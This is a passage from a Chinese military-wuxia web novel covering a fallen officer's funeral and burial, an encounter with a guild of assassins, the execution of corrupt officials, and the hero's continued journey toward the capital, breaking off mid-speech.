他的眼神渐渐亮起,带着难以掩饰的骄傲:“事实证明,老子的眼光没错!这小子在战场上就像是一头出笼的猛虎,悍勇无双,又懂得用脑子。只用了不到十年,就披上了无数边军士卒梦寐以求的将军甲,成了靖州军的副将!” 说到这里,他忽然顿了顿,目光投向远方,声音里带着深深的痛楚:“昭元二十一年的数九天,秦简已经升任校尉,他带着我们一千余弟兄,奉命切断胡羯人的退路。那一战……打得太苦了。” 高大成的手不自觉地握紧了拐杖,指节发白:“雪狼峡里,我们和两千多胡贼厮杀了整整三日。到最后,一千余兄弟,就剩下百来个还能站着!”他的声音哽咽了,“很多弟兄累得直接倒在雪地里睡着了,这一睡,就再也没能醒来……直接睡成了冰雕!” 他重重地拍了拍自己那条断腿,苦涩一笑:“我这左腿,就是那一战中了箭,血流得太多,在雪地里冻坏了,是我让那小子亲手帮我砍掉的!” “伤好之后,我不得不告别军营,离开北疆后便返回老家!”高大成的眼神飘向远方,带着深深的眷恋与遗憾,“临走那天,秦简特意来送我,我拉着他的手说,边关危险,随时都会死,让他跟我一起回来。我知道此举不忠,可他毕竟是我亲自带去北疆的,我只想把他活着带回来……” 他长叹一声,那叹息里满是无奈与心疼:“可那倔小子跟我说,他非要穿上那身将军甲不可!我哪里会不明白,咱们军伍儿郎追求的,从来都不只是建功立业,更是守土卫疆的责任!” 凌川等人静静地听着,高大成的语气虽然平淡,可每一句话都像重锤般敲击在众人的心上。他们仿佛看到了那个风雪交加的峡谷,看到了那些永远沉睡在雪地里的同袍,看到了年轻秦简坚毅的眼神。 很多人,或许最开始只是单纯的想要建功立业,毕竟,在这个晋升通道已经被世家门阀垄断的世道,寒门学子再无出头之日,想要改变阶层,唯一的途径便是用命去战场上搏一搏军功。 但,在军营之中待得久了,很多人内心的想法也就变了,不仅仅是为了建功立业出人头地,还有沉甸甸的责任和使命。 “我住在乡下,消息闭塞……”高大成擦了擦发红的眼眶,“直到今天晌午,才听从县城回来的邻里说起这事,就立刻动身赶了过来。” 他望向那具静静躺着的棺椁,声音沉痛而坚定:“十二年前,是老子带你去的北疆。如今,老子再来送你最后一程!” 忽然,他转过头看向凌川,眼中闪着期待的光:“凌将军,听说北疆出了一种叫‘狼血’的酒,你带了没?能不能让我尝尝是啥滋味?” 凌川立即点头:“苍蝇,去马车上把酒壶拿来。” 苍蝇应声而去,很快捧着一只皮质酒壶回来,小心翼翼地给高大成倒了一碗,清澈酒水在碗中微微荡漾。 高大成先是凑近深深一嗅,那浓烈的酒香让他浑浊的双眼顿时亮了起来。他端起碗,猛喝了一大口,顿时只觉得一股灼热的暖流顺着喉咙直冲而下,仿佛一条火龙在胸腹间翻腾。 他闭目凝神,感受着那股凶悍而霸道的灼烧感在胸腹流淌,许久才长出一口气,脸上泛起微红。 “好酒!”他由衷赞叹,“这才是男人该喝的酒!一口下去,老子仿佛又回到了边关战场,闻到血腥味,听到喊杀声了!” 凌川微笑点头:“我这次带了些,老伍长若是喜欢,回头给您留一坛。” 谁知高大成却笑着摇头:“好酒,尝一回就够了,岂能让将军破费?” 苍蝇忍不住插话:“老伍长可能还不知道,这狼血酒本就是我家将军亲自酿制出来的!” “哦?”高大成惊讶地睁大眼睛,仔细打量着凌川,“想不到凌将军不仅用兵如神,竟还有这般手艺!难怪这酒里,有咱们北疆男儿的血性!” 随即,他端着剩下的半碗酒,来到秦简的棺椁跟前,沉声说道:“小子,当年你说过,等你回来请老子喝酒,现在看来,你这顿酒是等不到了,还是我请你喝吧!” 说完,他将碗中剩下的半碗酒缓缓倾洒在棺椁跟前。 不知不觉间,夜幕已然降临。 凌川看出高大成满脸疲惫,毕竟缺了一条腿的他,是拄着拐杖一路赶过来的。 “老伍长,我让人带您去客栈用些饭菜,早些歇息吧!”凌川温声劝道。 高大成点了点头,忽然想起什么,关切地问:“秦简的墓地,选好了吗?” “已经定下了,就在北山!”凌川答道,“那里可以望见北疆的方向!” 高大成这才放心地起身,凌川顺势让苍蝇带几名亲兵,护送苏璃回客栈休息。 然而当邀请高大成乘坐马车时,他却死活不肯,凌川明白,这位老卒是担心自己一身尘土弄脏了马车,更顾虑到车内凌川的妻子,多有不便。 “将军,若是方便,给我找匹马就成!”高大成爽朗一笑,“虽说少了条腿,但这马,老子还是能骑的!” 凌川立即让人牵来一匹温顺的战马,他本想上前搀扶,却不料高大成单手抓住马鞍,借着拐杖的支撑,一个利落的翻身就稳稳坐上了马背。 整个动作行云流水,丝毫不显拖沓。 就连苍蝇这些久经沙场的亲兵见状,也不由得暗暗惊叹。 真不愧是沙场退下来的老骑卒,光是这一手上马的功夫,就足以看出当年的不凡身手。 夜色渐深,然而前来悼念的百姓却不见减少,反而越聚越多。 点点灯火在夜色中连成一片,映照着每个人脸上肃穆而虔诚的神情,没有人说话,但无形中的悲戚情绪却笼罩全场。 第一卷 第407章 丹青府杀手 吴氏母子双眼红肿如桃,却依然强撑着羸弱的身子在灵堂前守礼迎客。 烛火在夜风中摇曳,将她们疲惫的身影拉得很长。吴氏不时用已经湿透的帕子擦拭通红的眼角,却始终保持着端庄的仪态,对每一位前来吊唁的乡邻躬身还礼。 年幼的秦羽早已困得东倒西歪,小脑袋一点一点地打着瞌睡,却还倔强地抓着母亲的衣角,不肯离去。 凌川见状,心中一阵酸楚。 他缓步上前,温声劝道:“嫂子,带孩子先去歇息吧!” 吴氏这才恍然回神,轻轻将已经站立不稳的秦羽揽入怀中,柔声哄着他往屋内走去。 约莫一炷香后,她又独自返回灵堂,在棺椁旁默默跪坐下来,脑海中呈现出与丈夫聚少离多却弥足珍贵的那些画面。 “嫂子,今夜有我与兄弟们在此陪着秦将军,您去睡会吧!”凌川再次劝道,声音里带着几分不忍。 吴氏缓缓摇头,目光坚定地望着棺木,声音轻得像是在自言自语:“我是他的发妻,这最后一晚,说什么也要陪着她!”她的声音很轻,却带着不容动摇的决绝,让在场众人无不为之动容。 就在这肃穆的氛围中,凌川忽然敏锐地察觉到一丝若有若无的杀气,如同暗夜中悄然游走的毒蛇。 他不动声色地起身,装作出门活动手脚,目光却在人群中细细搜寻。 火光摇曳,人影幢幢,终于,在院墙角落最深的阴影处,他锁定了一个看似寻常的身影。 那是个相貌平平的中年男子,中等身材,穿着粗布衣裳,裤腿短了一截,露出黝黑结实的小腿。 他肩上随意扛着一根磨得光滑的竹制鱼竿,腰间挂着个竹篾编织的鱼篓,乍看之下与寻常渔夫无异,然而那股若有似无的杀气,正是从他身上散发出来的。 凌川缓步向他走去,每一步都踏得极稳,暗中更是运转体内的真气,随时准备出手。 令他意外的是,那人并未躲避,反而迎上凌川的目光,眼神平静得看不到一丝波澜。 “放心,今日我不会动手!”男子率先开口,声音低沉而平淡。 凌川眉梢微挑,体内真气却没有收敛的意思:“为何?” “杀手是我的职业,从记事起便是这个身份,我没得选!”男子的语气依然淡漠,却带着一种说不清的沧桑,“但我并非冷血无情的畜生,在这种局面杀你,我过不了自己心里那一关!” 这番话让凌川颇感意外,他细细打量对方, “可在我看来,这并无区别!”凌川淡淡道,目光始终锁定对方,“今日不杀,来日你依然会动手。” “杀你是任务,我依旧没得选……”男子始终平静,“但在何时、何地动手,却是我能决定的!” 这番对话彻底颠覆了凌川对杀手的刻板印象,他原以为这些人都是冷血无情之辈,为达目的不择手段。 可眼前这人,却有着自己的底线和原则,这在凌川看起来,这是一件很不可思议的事情。 “那你打算何时动手?”凌川嘴角微扬,带着几分玩味,眼神却愈发锐利。 “在你最放松、最意想不到的时候!”男子的目光扫过周围密集的人群,最终定格在凌川脸上,“比如现在,你身边的高手都不在,人群拥挤,你又离我这么近,正是最佳的出手时机。” “那为何还不动手?”凌川故意又向前迈了半步,这个距离,对方若是突然发难,他也有把握应对。 “不愿惊扰英灵!”男子望向灵堂中的棺椁,眼神中闪过一丝难得的敬意,“虽然我的身份见不得光,但秦简这样的人,无论是生前还是死后,都应当被敬重!” 这句话让凌川对他多了几分好感,他沉吟片刻,问道:“方便告知,你来自哪个组织吗?” 男子顿了顿,吐出三个字:“丹青府!” 凌川对这个名字并不陌生,他想起在北疆时的经历,试探道:“我曾在北疆认识一个代号红罗袄的丹青府杀手,你的代号是?” “渔家傲!”男子的声音一如既往地平淡。 凌川的目光看似随意地扫过人群,最终落在一个头戴凤头金簪的华服女子身上。 那女子正在为秦简上香,举止优雅、神态虔诚,但凌川却依旧捕捉到了异常。 “如果我没猜错,那位应该是钗头凤吧?” 渔家傲眼中闪过一丝讶异,微微颔首,右手无意识地握紧了鱼竿。 凌川又指向远处一个手持布幡的算命先生,以及另一个相貌俊俏的年轻男子,问道:“那两位呢?” “卜算子和十二郎!”渔家傲坦然相告,语气中带着几分欣赏,“凌将军好眼力!” 凌川轻轻点头,突然问道:“你觉得,若你们此刻动手,有几成把握?” “若考虑全身而退,五成;若只为取你性命,九成!”渔家傲的回答很坦诚。 显然,他们很清楚,凌川的数百亲兵皆是百战精锐,他们必须保证一击得手,才能在对方形成合围之势前撤离。 凌川却淡然一笑,目光看向远处的黑暗中,说道:“依我看,即便你们不考虑撤离,胜算也不超过两成!” 渔家傲神色微变,眼中闪过一丝忌惮,不自觉地后退了半步:“看来我们确实低估你了,没想到那位活阎罗竟也在此!” “看在你们没有让灵堂染血的份上,我也放你们离开!”凌川正色道,周身气势陡然变得凌厉,“但记住,这是看在秦将军的面子上!” 就在渔家傲转身欲走时,凌川又叫住了他,“替我带句话给丹青府的话事人,我凌川无意与丹青府为敌,但若逼急了,我不介意让丹青府从这个世上消失。” 面对这番威胁,渔家傲神色不变,只是平静地点头:“我会把话带到!”说罢,他的身影便没入黑暗之中,如同水滴融入大海,再无踪迹可寻。 凌川转身看向人群,发现那头戴金簪的女子、手持布幡的算命先生和那俊俏公子,不知何时已经悄然离去,仿佛从未出现过一般。 第一卷 第408章 抬棺送葬 阎鹤诏在子夜时分悄然而至,玄色官袍在夜色中几乎与黑暗融为一体。 他没有惊动任何人,只是默默取了香点燃,双手举起在灵前郑重三拜,香火明灭间,他冷峻的面容被映照得忽明忽暗。上完香,他走到凌川身侧,两人在院角的柿子树下低声交谈。 阎鹤诏的声音一如既往地冷冽,“秦简的案子,廷尉府已经着手调查,若他刘熙图真参与其中,我必严办!” 凌川颔首:“有劳阎大人!” 阎鹤诏目光扫过灵堂前跪着的几人,嘴角泛起一丝冷笑:“这些宵小之辈,死不足惜!”说罢,他转身离去,身影很快消失在夜色中,仿佛从未出现过。 凌川独自坐在院中的石凳上,望着灵堂内摇曳的烛火出神。 秦简只是万千战死的北系军将士之一,其他人大多默默无闻,甚至连尸骨都找不到,他们的妻儿父母能否得到善待? 夜风渐起,吹得白幡猎猎作响,偶尔有前来守夜的百姓怯生生地上前打招呼,凌川都一一温和回应。 不知不觉,东方既白。 送葬的人们陆续到来,许多邻里乡亲自昨夜就未曾离开,此刻都默默聚集在院中。 凌川起身活动了下僵硬的四肢,走进灵堂,跪在那里整整一夜的秦胜夫妇早已面无人色,浑身僵硬如铁。 “将军,我二人都跪了一天一夜了,求求您,放我们一条生路吧!”郑秀菊肿着双脸,含糊不清地哀求道,声音嘶哑得几乎听不清。 凌川居高临下地看着二人,目光冷峻:“那口洒满黑狗血的棺材,我特意为你们留着的,既然你们当初准备了这份厚礼,今日就安心上路吧!” 听闻此言,二人悬着的心终于死了! 尽管早已料到这样的结局,可他们还是抱着一线希望,以为跪了一天一夜能换来一线生机,此刻希望破灭,秦胜浑身瘫软,郑秀菊则发出绝望的呜咽。 苍蝇心领神会就要拔刀,凌川却抬手制止:“拉出去处理,别脏了灵堂!” 苍蝇点头称是,唤来几名亲兵,将双腿失去知觉、无法起身的二人架了出去。 秦胜夫妇已经无力挣扎,只能发出断断续续的哀嚎,声音渐行渐远。 围观的邻里乡亲冷眼相看,无一人露出同情之色。 大家都已得知这对夫妇是如何欺凌孤儿寡母,如何勾结官府谋夺抚恤银两的。 灵堂中还有一人蜷缩在地,正是县令冯济才,不知何时,他已经昏死过去,像条死狗般瘫在地上。 “将军,这狗官如何处置?”孟钊沉声问道。 “杀!” 凌川冷声吐出一个字,干脆利落。 孟钊一把抓起冯济才的脚踝,正要将其拖出。就在这时,冯济才突然大叫起来,原来他一直在装死。 “将军饶命!将军饶命啊!”冯济才跪在地上,对着凌川连连磕头,额头很快就见了血,“我知道错了,我再也不敢了......我把所有的银子都给你,还有,还有我那六房小妾,都送给你......” 凌川嘴角泛起一抹冰冷的笑意:“昨晚廷尉府的阎大人来过了,说已经安排了新任县令。” 这句话,无疑是宣判了他的下场。 孟钊不再犹豫,抓着冯济才的头发,将他一路拖到外面的院子中,冯济才的哀嚎声在清晨的空气中格外刺耳。 “嗤!” 随着一声利刃割破肌肤的轻响,这个助纣为虐的县令就此殒命。 很快,几名亲兵拿着木杆和麻绳走了进来,苍蝇来到凌川身边,低声道:“将军,时辰差不多了!” 凌川点了点头:“走吧,送秦将军入土为安。” 说完,他径直来到一名亲兵跟前,接过他手中的木杠。 “将军,不可!”苍蝇急忙阻止。 “秦将军血洒边关,为我北系军铸下铮铮铁骨!”凌川声音铿锵,带着不容置疑的口吻,“我为他抬棺,有何不可?” 众人不再多言,用麻绳将棺椁牢牢绑好。 那面曾经飘扬在栖霞关城头的靖州军旗,此刻覆盖在棺木之上,旗面上的血迹和破洞无声诉说着那场惨烈的战斗。 “起灵......” 随着一位身穿道袍的老人一声高喊,灵柩缓缓被抬离地面。 送葬的锣鼓声响起,前三后四七个人抬起灵柩,缓步出门,凌川走在最前面,步履沉稳。 送葬队伍披麻戴孝,前方两名老者手持装满纸钱的竹筐,一路将纸钱高高抛起。 年仅八岁的秦羽披麻戴孝,稚嫩的双手紧紧端着父亲的灵位,小脸上满是与年龄不符的坚毅。 灵柩很轻,里面除了骨灰,便只有一副铠甲、一把战刀。 但所有人都走得很沉重,沉重的不是肩膀,而是心情和脚步。 走出巷道,天空下起了濛濛细雨。 雨丝如织,让队伍中的哀乐更添几分悲凉,催人泪下,令人断肠。 进入宽阔街道之后,一幕震撼人心的景象呈现在众人面前。 只见七百余名身着铠甲的士兵分列两旁,所有人面色沉痛,宛如钢枪般矗立在街道两侧,雨水顺着他们的甲胄滑落,却无一人擦拭。 “北系军同袍,恭送秦将军!” 洛青云大喊一声,随即举起右拳重重锤在胸甲之上,发出一道沉闷的声响。 “北系军同袍,恭送秦将军!” 所有人齐声高喊,声音在街道上空回荡,紧接着,七百余人同时握拳,重重砸在胸甲上。 “砰!砰砰!” “砰!砰砰!” 声音低沉,却如战鼓雷动,震得每个人心头颤动。 这不仅是送别,更是一种誓言,一种传承。 披麻戴孝的吴氏全程与棺椁并行,泪水和雨水混杂在一起,在她苍白的脸上肆意流淌。 北疆老卒高大成杵着拐杖,紧跟在棺椁后面。 这位曾经的老兵双目通红,每一步都踏得异常坚定,他在用这种方式护送秦简走完最后一程。 秦简的墓地位于北山,那里背靠乐平县,面朝北方,朝着那个他曾用命守护的方向。 此去北山,需自南门进,穿过县城自北门出,路程近五里。 当送葬队伍抵达南门时,城门早已打开。 第一卷 第409章 长眠北山 当送葬队伍缓缓进城,一幕更加肃穆壮观的景象出现在众人面前。 平日里这个时辰,街道上除了早起营生的小贩,几乎不见行人。 可今日,从城门开始,整条主街两侧都站满了百姓,男女老少,人人手中都捧着一束洁白的野菊。 这些平日里漫山遍野无人问津的野花,此刻在众人手中显得格外圣洁,花瓣上沾着的雨珠,宛如天地同悲的泪。 细雨无声飘洒,却没有一个人撑伞。百姓们静静伫立在雨中,目光追随着那口缓缓行进的棺椁。 他们的衣衫早已被雨水浸透,却无人擦拭脸上的水痕。 那其中,有雨水,也有泪水。 自昨日上千张榜文贴满全城,整个乐平县的百姓都知道了这位战死边关的英雄事迹。 此刻,他们自发前来,用最朴素的方式,送这位从未谋面的英雄最后一程。 细雨蒙蒙,哀乐低回。 灵柩所过之处,压抑的啜泣声此起彼伏,一位老妇人拄着拐杖,望着棺木喃喃道:“多好的娃啊,就这么没了……” 人群中,一位佝偻的老者背着约莫三四岁的孙子,目送灵柩缓缓经过。 小男孩睁着天真的大眼睛,指着前方问道:“爷爷,那个哥哥手里端着的是什么?” “那是他阿爹的灵位!”老人声音沙哑。 “那他阿爹呢?” “他阿爹……在里面躺着呢。”老人指了指棺椁,喉结滚动。 “为什么要躺在里面,是生病了吗?” “是上天垂怜他太累了,让他早点歇歇……” “哦……”小男孩似懂非懂,忽然伸手摸了摸爷爷的脸,“爷爷,你怎么哭了?” “没哭,是雨水……”老人别过脸去,肩膀微微颤抖。 这番特别的对话,彻底击溃了周围人群最后的克制。 压抑的哭声如潮水般蔓延开来,一位妇人掩面抽泣,另一位汉子则狠狠抹了把脸,却抹不尽滚滚而落的泪水。 不明所以的小男孩紧张地抱紧了爷爷的脖子,小脸上写满了困惑。 阴雨绵绵,哀乐潺潺。 白色野菊的花瓣与纸钱在空中交织飞舞,覆盖在棺椁上的那面残破军旗在风中猎猎作响,仿佛发出最后的呜咽。 凉风不仅吹动了战旗,也吹动了老卒高大成那空荡荡的裤管。 他拄着拐杖,每一步都踏得沉重而坚定,浑浊的双眼死死盯着前方的棺木,仿佛在完成一个跨越了十二年的承诺。 一位中年汉子端着一碗浊酒,在送葬队伍经过时,缓缓将酒洒在湿漉漉的青石板上。 “将军,您一路走好……”他在心中默念,酒水混着雨水,渗入这片秦简誓死守护的土地。 送葬队伍自南门进,北门出。 当灵柩经过后,百姓们默默跟在后面,形成了一条蜿蜒的长龙。刚出北门,送行的队伍就已汇聚了数千人,他们沉默地行走在细雨中,如同一道无声的洪流。 出了城门,便是北山脚下。 按照习俗,灵柩在途中即便换人抬运,也绝不能落地,否则视为不祥。 途中好几次,亲兵想要换下凌川,却都被他厉声喝退。 这位年轻的将军咬紧牙关,额头上分不清是雨水还是汗水,木杠早已将他的肩膀磨得红肿,可他依然坚持着,仿佛要通过这种方式,与这位素未谋面的同袍做最后的告别。 五里路并不算远,却走得异常缓慢,每一步,都承载着太多的不舍与哀思。 当棺椁终于落地,预示着这位英雄将在此长眠,山道蜿蜒,送行的百姓大多止步于此,目送着灵柩被缓缓抬上山坡。 坟墓是凌川与亲兵们一砖一石亲手砌成的,坟头特意朝着遥远的北方,朝着那个秦简征战了半生的方向。 他活着时,在北疆浴血奋战,心中最牵挂的是这片故土;如今落叶归根、长眠于此,想必最怀念的,还是那片他付出生命的沙场。 墓碑是昨日就刻好的,上面镌刻着:“皇明诰封显考武毅将军秦公讳简之墓”。碑上还密密麻麻地刻着秦简的生平功绩,每一笔都凝聚着血与泪。 待纸钱燃尽,众人相继离去。 唯有吴慧兰伏在冰冷的墓碑上,哭得撕心裂肺,那哭声在山间回荡,闻者无不心碎。 凌川不忍再看,独自走到一旁。 双眼通红的秦羽悄悄走到他身边,仰起小脸问道:“叔叔,多年之后,还有人会记得我爹爹吗?” 凌川伸手轻抚孩子的头,声音坚定:“当然!羽儿会记得,北系军的每一个将士都会记得,靖州的万千百姓也会记得,你爹爹的名字,会永远刻在那片他守护过的土地上,也会刻进每一个被他守护的百姓心里……” 雨越下越大,凌川将秦羽搂在怀里,用自己宽阔的肩膀为孩子挡住风雨。 “羽儿要快快长大,长大了,好好保护娘亲!”凌川温声说道。 “嗯!”怀中小男孩用力点头,稚嫩的声音里透着与年龄不符的坚定,“叔叔放心吧,羽儿绝不会让任何人伤害娘亲的!” “大将军,请回吧!”吴氏拖着疲惫的身躯走上前来,她双眼红肿,声音嘶哑,却依然保持着最后的体面。 凌川默默点头。 她牵起儿子的小手,一步步朝山下走去。 秦羽三步一回头,望着那座新坟,小小的身影在雨中显得格外孤单。 他心里想着,爹爹一个人在这里,一定很孤单吧! 细雨依旧,山风呜咽,仿佛天地都在为这位英年早逝的将军唱着最后的挽歌。 回到客栈,凌川的心情依然沉重。 事实上,不仅是他,所有士兵包括满城百姓的心头都无比沉重,尽管秦简已经下葬,可那股悲伤却并没有随之散去。 凌川将高大成也请到了客栈,二人聊了很久,高大成感叹道:“算算时间,已经离开北疆六七年了,若非腿脚不便,真想回去看看!” “老伍长若想去,我从神都回来,带你一起啊!” 然而,高大成却笑着摇了摇头,说道:“算了,估计,曾经的老兄弟也没剩几个了,看了只会徒增伤感!” 第一卷 第410章 放自己一马 次日清晨,天光未亮,队伍便已整装待发。 凌川原本提议让吴氏与他们母子随行。 吴慧兰却轻轻摇头,目光温婉而坚定:“将军好意,妾身心领。只是按礼数,我们母子还需为亡夫守过头七方能动身!” 凌川微微颔首,表示理解。 他深知前路凶险未卜,带着这对孤儿寡母反而可能让她们更危险。 但,他还是让寇悔带着那十多名并州籍的士兵留了下来,一来是保护母子二人的安全,再则这些士兵可以轮流回家看看,对于常年待在北疆的士兵来说,很少有回家探亲的机会。 在这乐平县凌川倒是不担心母子二人的安全,毕竟恶首已除,再加上有廷尉府正在清查此案,就算有贼心不死之人,也绝不敢冒大不韪对他们下手。 凌川真正担心的是母子二人去往神都沿途的安全,故此才留了一支十余人的小队护送。 夜幕降临前,寇悔独自来到凌川暂住的院落,神色间带着几分踌躇。 “将军……”他欲言又止。 凌川正在整理行装,见状停下手中动作,问道:“怎么了?” 寇悔深吸一口气,终于鼓起勇气:“将军可否让我明日随您同行?我……我不想留在并州。” 凌川放下手中的衣物,认真端详着这个曾经犯下大错的汉子,月光下,寇悔的脸上写满了挣扎与痛苦。 “我看过你的战功簿!”凌川缓缓开口,“上次一战,你斩杀九名敌军,按军功足以晋升校尉,你可知道,我为何没有提拔你?” 寇悔低下头,声音低沉:“我本是戴罪之身,将军肯给我一个赎罪的机会,已是天大的恩情,不敢再奢求奖赏!” “你错了!”凌川正色道,“我不提拔你,正是要用这份战功抵消你从前的罪过。那一战之后,你已经是个清白之人了!” 寇悔猛然抬头,双眼泛红:“将军……属下明白,您和死字营的兄弟们从未用异样的眼光看我。可正因为如此,我才更加愧疚难当……” 这个铁骨铮铮的汉子声音哽咽,道出了深藏心底的痛苦。 自从跟随凌川后,他每次上阵都抱着必死的决心,只求战死沙场,以求解脱。无数个深夜,他都会被噩梦惊醒,那些惨死在他刀下的亡魂,那些被他掳掠的女子凄厉的哭喊,始终萦绕不去。 凌川轻叹一声,拍了拍他的肩膀:“死字营中,所有人都跟你一样是戴罪之身,他们用鲜血洗清了罪名,为何你偏偏不肯放过自己?” 这句话如同惊雷,在寇悔心中炸响,他怔怔地望着凌川,两行热泪终于夺眶而出。 “谢将军……”他深深鞠躬,声音哽咽却坚定。 或许就是从这一刻起,这个饱受内心折磨的汉子,终于开始尝试走出自己罪恶的阴影。 翌日起程,队伍离开乐平县,地势逐渐平坦,官道宽阔平整。 算来从云州出发已有二十余日,虽然途中多有耽搁,但路程已然过半。 “将军,三日后便可离开并州,进入雍州地界!”苍蝇策马来到凌川身侧,“穿过雍州,就能进入洛州了!” “不急,慢慢走!”凌川望着前方笔直的官道,神色从容。 这一日,凌川特意登上杨铁匠的马车与他并肩而坐。 “杨老头,问你个事!”凌川在他对面坐下,将守灵那夜遭遇丹青府杀手的事细细道来,“您跟丹青府可有什么交情?能否帮忙牵个线,大家化干戈为玉帛?” 杨铁匠漫不经心地往嘴里灌了一口酒:“你当丹青府是路边小酒馆?追杀令岂是说撤就能撤的?” “不都是为了银子吗?本质上跟做生意没什么两样。”凌川坚持道。 杨铁匠瞥了他一眼:“这话倒是在理!只可惜,丹青府这家‘百年老店’不是谁的面子都给的。” “难道连您杨剑神的面子也不行?”凌川十分诧异。 杨铁匠冷笑一声:“老夫退出江湖多年,丹青府的话事人怕是早就换了几茬,更何况,我与他们素无交情,人家凭什么卖我这个面子?” 他顿了顿,话锋一转:“不过你小子也不必太过担忧。丹青府的杀手,自会有人替你应付!” 凌川闻言一怔:“有人替我应付?谁?” 杨铁匠却只是神秘一笑,不再多言。 接下来的几日,凌川时而陪着苏璃在马车里说说话,时而向杨铁匠请教修炼上的疑难,更多时候则是与沈七岁和一禅小和尚畅谈江湖轶事。 沈七岁性格活泼,总是有说不完的趣事。 一禅小和尚则大多时间都在打坐诵经,令人称奇的是,哪怕盘坐在马背上闭目念经,他的身形依旧稳如磐石。 有一次沈七岁开玩笑,故意抽了他的坐骑一鞭,那马受惊狂奔,小和尚却依然稳坐如山,连衣袂都不曾凌乱。 这一路上,凌川没少向这两位年轻高手请教,虽然他们年纪尚轻,但凌川深知‘达者为师’的道理,从不觉得向他们请教是什么丢脸的事。 沈七岁很是爽快,明确告知,只要不涉及蜀山剑宗的不传之秘,其他的但说无妨。 一禅小和尚更是坦诚,告诉凌川只要是他会的,都能教。 就这样,在漫漫旅途中,凌川不仅精进了武艺,更对天下江湖的格局有了更深的认识。 他甚至还向小和尚要来了易筋经和般若金钟罩,不过,以他现在的底子,想要修炼佛门这部至高典籍和那玄妙之术,显然是不可能。 可让凌川意外的是,这段时间,他修炼上从未懈怠,却始终未能凝聚出第二道真气。 对于这个问题,杨铁匠也说不清楚,毕竟,凌川的情况与其他人不一样,体内看似只有一道真气,可运转起来,比很多四重境高手的真气还要雄浑,威力也更加恐怖。 他只能是提供一些案例供凌川参考,主要还得靠凌川自己摸索。 对此,凌川也很是无奈,只能摸着石头过河,期间,他也不止一次找洛青云过招,可随着他对真气的运用愈发娴熟,洛青云哪怕拼尽全力,也很难在他手中占到上风。 第一卷 第411章 正义与邪恶 三日后,车队辚辚,缓缓驶离了并州地界,正式踏入雍州之境。 雍州,距离帝国心脏神都洛城仅五百余里,是拱卫京畿的最后一道,也是最坚实的一道屏障。 官道两侧的景致悄然变化,田野更为规整,村落更为密集,连空气仿佛都凝滞着一种山雨欲来的紧张气息。 而望云关,便是这雍州境内,乃至整个中原腹地最为重要的军事重镇,雄踞于两山之间,锁钥南北咽喉。 纵观历代大一统王朝,于中原腹地驻军超过万人的关隘实属屈指可数,望云关便是其中之一,其战略地位之重,不言而喻。 毫不夸张地说,此关若失,敌军铁蹄便可踏破门户,一路坦途,直逼洛城。 也正是在这凝重肃穆的氛围中,洛青云策马从前队折返,来到凌川身侧,低声禀报:“将军,前方便是望云关,属下记得,如今这望云关的守将,乃是萧卫蘅!” 凌川眉头微挑,他了解洛青云的性格,若非事关紧要,绝不会无故提及一个无关之人的名字。 他目光微凝,侧首问道:“此人有什么问题?” 洛青云的神色愈发凝重,声音压得更低:“萧卫蘅,乃是当今内阁首辅黄千浒的乘龙快婿!” “黄千浒……”听到这个名字,凌川的眉头不由得深深蹙起。 他虽与此人素未谋面,但早在狼烽口时,陈暻垚便不止一次提及这个名字。 黄千浒,位居内阁首辅,妥妥的皇权之下第一人,真正的百官之首,权倾朝野。 昔日陈暻垚秘密调查苏大将军蒙冤一案,种种线索最终都隐隐指向这位深不可测的权臣。 事实上,他与苏大将军在朝堂之上素来势同水火,这本是公开的秘密,于公于私,他都有足够的理由和动机扳倒这位政敌。 无论苏大将军案的最终真相如何,此人,都注定是敌非友。 这不仅是因为凌川与苏璃的关系,更因黄千浒一贯在朝中打压武将,尤其对北疆边军诸多掣肘。 “看来,这望云关,怕是不好过啊!”凌川望着远处隐约可见的连绵山影,语气沉凝。 与此同时,他敏锐地捕捉到洛青云眼底那一闪而逝、几乎难以察觉的屈辱与怒意,心念微动,试探着问道:“你当年被发配至北疆死字营,跟这个萧卫蘅有关吧?” 洛青云身躯猛地一震,豁然抬头看向凌川,眼中充满了难以置信的惊讶:“将军,您如何知晓?” 他从未向任何人透露过被发配死字营的内情,即便在神都禁军任职的过往,也只有在凌川问及时才会轻描淡写地提及一二。 凌川淡然一笑,“猜的!” 洛青云内心震撼莫名,没想到凌川观察竟如此入微,仅凭一丝情绪波动便推测出关键。 他嘴角泛起一丝苦涩,叹道:“果真是什么都瞒不过将军。” “若方便,可与我说说!”凌川策马靠近,与他并肩而行。 洛青云点了点头,深吸一口气,仿佛要将积压多年的郁垒吐出,沉声道:“两年前,我与萧卫蘅同为神都禁军都尉,品阶相当。一次,陛下于猎场秋狩,途中竟遭遇不明刺客袭击。虽然刺客是从他萧卫蘅布防的区域潜入的,但事发当时,我听闻警讯,未及多想,便第一时间率领本部兵马疾驰护驾!” 他的眼神变得锐利,带着追忆与愤懑:“我赶到御前时,刺客已然伏诛。然而陛下受惊,龙颜大怒,严令追责。最终……我竟成了那个代罪羔羊!” 他握紧了缰绳,指节泛白,“若非当时蓝统领念我往日勤谨,拼死力保,那次我丢掉的恐怕就不只是官职,而是项上人头了!可即便如此,最终还是被革去官职,发配至北疆死字营!” “至于他萧卫蘅……”洛青云冷哼一声,“有他那权倾朝野的岳父大人全力周旋庇护,仅仅是以‘疏于防范’之名,卸去了禁军都统的实权职位,又因护驾受伤减轻责罚,转头便被派来这望云关担任副将。谁人不知,当时的望云关主将林老将军年事已高,早已不理具体军务?他萧卫蘅至此,分明是明降暗升,只待时机,便可顺理成章执掌这京畿咽喉!” 凌川静静听着,此前他便有猜测,以洛青云出众的能力和刚直不阿的性格,被发配死字营多半有隐情。 许久之后,他轻叹一口气,说道:“这个世上,不公之事,确实太多。庙堂之高,江湖之远,何处不曾埋没忠骨,滋长奸佞?” 随即,他话锋一转,语气变得坚定而有力,侧头看向洛青云,“但你要记住,纵使乌云蔽日,邪祟一时猖獗,邪恶,永远无法战胜正义!” 洛青云闻言,眼中露出困惑与思索,他苦笑着摇头问道:“属下愚钝,还请将军明示。如今这世道忠良蒙冤,奸佞当道,正义何在?邪恶又如何不能得逞?” 凌川目光如炬,直视前方,朗声道: “你可见过山间野火?风助火势时,烈焰滔天,似乎能吞噬一切,草木皆灰,天地变色。那肆虐的火,便是‘邪恶’,它燃烧靠的是掠夺、是破坏、是无所顾忌的毁灭,故而其势汹汹,迅疾猛烈,令人望而生畏。” “然而,正义并非这般急火。它更像我们脚下这片沉默而坚实的土地,像是深埋于地底的种子,像是看似柔弱却连绵不绝的根系……” 他顿了顿,让洛青云消化这个比喻,继续说道: 